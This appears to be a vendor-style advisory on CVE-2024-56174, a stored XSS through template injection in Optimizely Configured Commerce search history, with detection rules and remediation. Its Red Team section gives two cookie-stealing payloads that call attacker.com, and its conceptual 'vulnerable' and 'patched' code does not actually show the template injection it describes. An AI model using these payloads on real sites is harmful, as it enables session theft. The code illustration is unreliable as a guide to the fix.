CVE-2024-56174

Executive Summary

CVE-2024-56174 is a stored Cross-Site Scripting (XSS) vulnerability in Optimizely Configured Commerce, a B2B e-commerce platform. The vulnerability arises from client-side template injection within the search history feature. An attacker can inject malicious payloads that are stored and later executed in the browsers of other users when they view their search history. This can lead to session hijacking, data theft, or further compromise of the administrative interface. The vulnerability affects all versions prior to 5.2.2408. No public proof-of-concept (PoC) or exploit code has been released at this time.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the vulnerability characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account to store the payload.
• User Interaction (UI): Required (R) – The victim must view the search history page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – An attacker can steal session tokens and sensitive data.
• Integrity (I): High (H) – An attacker can modify content or perform actions on behalf of the victim.
• Availability (A): Low (L) – The attack could potentially disrupt the user interface.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.0 (High)

Threat Level: High. The vulnerability is stored and requires low privileges, making it a significant risk for multi-tenant or enterprise deployments.

Deep Dive & Mechanics

The vulnerability is a Stored XSS via Client-Side Template Injection (CSTI). In Optimizely Configured Commerce, the search history feature renders user-provided search terms. The application fails to properly sanitize or escape user input before inserting it into a client-side template (e.g., Handlebars, Mustache, or Angular). An attacker can craft a search term containing a malicious template expression, such as {{constructor.constructor('alert(1)')()}}. When the search history is loaded, the client-side template engine evaluates the expression, executing arbitrary JavaScript in the context of the victim's browser.

The attack flow:

1. Attacker logs in and performs a search with a malicious payload.
2. The payload is stored in the database as a search history entry.
3. Victim views their search history page.
4. The client-side template engine processes the stored payload, executing the attacker's JavaScript.
5. The attacker's script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly inserts user input into a template
const template = Handlebars.compile('<li>{{searchTerm}}</li>');
const html = template({ searchTerm: userInput });
document.getElementById('history').innerHTML = html;

Patched Code (Conceptual):

// Patched: Sanitizes user input before template insertion
const sanitizedInput = DOMPurify.sanitize(userInput);
const template = Handlebars.compile('<li>{{searchTerm}}</li>');
const html = template({ searchTerm: sanitizedInput });
document.getElementById('history').innerHTML = html;

The patched version uses a sanitization library (e.g., DOMPurify) to strip malicious content before rendering. Additionally, the application should avoid using innerHTML and instead use safe DOM manipulation methods like textContent.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid user account on an Optimizely Configured Commerce instance (version < 5.2.2408).
• Access to the search functionality.

Steps:

1. Log in to the application.
2. Perform a search with the following payload in the search bar:

   {{constructor.constructor('fetch("https://attacker.com/steal?cookie="+document.cookie)')()}}
   

3. The payload is stored in the search history.
4. Wait for a victim (e.g., an admin) to view their search history.
5. The victim's browser executes the payload, sending their cookies to the attacker's server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual search terms containing template syntax (e.g., {{, }}, constructor).
• Use a Web Application Firewall (WAF) to block requests containing common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot:

• Deploy a decoy user account with a search history that contains a benign payload. Monitor for any execution of that payload.

Lab Setup:

1. Deploy a vulnerable version of Optimizely Configured Commerce (e.g., 5.2.2400) in a Docker container.
2. Create a test user and perform the attack as described above.
3. Use a browser developer console to observe the XSS execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains containing ?cookie= or similar parameters.
  • Unusual search terms in application logs containing {{, }}, constructor, or onerror.

• Host IOCs:

  • Unexpected JavaScript execution in the browser console.
  • Modified or stolen session cookies.

• Application IOCs:

  • Search history entries containing template syntax or HTML event handlers.

Detection Engineering

YARA Rule

rule CVE_2024_56174_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Optimizely Configured Commerce search history"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56174"
    strings:
        $template1 = "{{constructor" ascii wide nocase
        $template2 = "{{__proto__" ascii wide nocase
        $template3 = "onerror=" ascii wide nocase
        $template4 = "onload=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56174 - Stored XSS via Search History
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in search history logs
author: Valters IT
logsource:
    category: application
    product: optimizely_configured_commerce
detection:
    selection:
        event: "search_history_created"
        search_term|contains:
            - "{{constructor"
            - "{{__proto__"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of template syntax in search terms (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56174 - Stored XSS Payload in Search History"; flow:to_server,established; content:"search_term"; nocase; pcre:"/(\{\{constructor|\{\{__proto__|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Optimizely Configured Commerce version 5.2.2408 or later.
2. If immediate upgrade is not possible, disable the search history feature temporarily via configuration.
3. Apply a WAF rule to block requests containing {{ or }} in search parameters.

Long-Term Mitigations:

• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to restrict inline script execution.
• Conduct regular security audits and penetration testing of the application.
• Monitor for client-side template injection vulnerabilities in third-party libraries.

Patch Details:

• The vendor has released version 5.2.2408 which addresses this vulnerability. No official patch notes are available, but the fix involves sanitizing user input before rendering in client-side templates.

Valters IT
DevSecOps & Cyber Threat Intelligence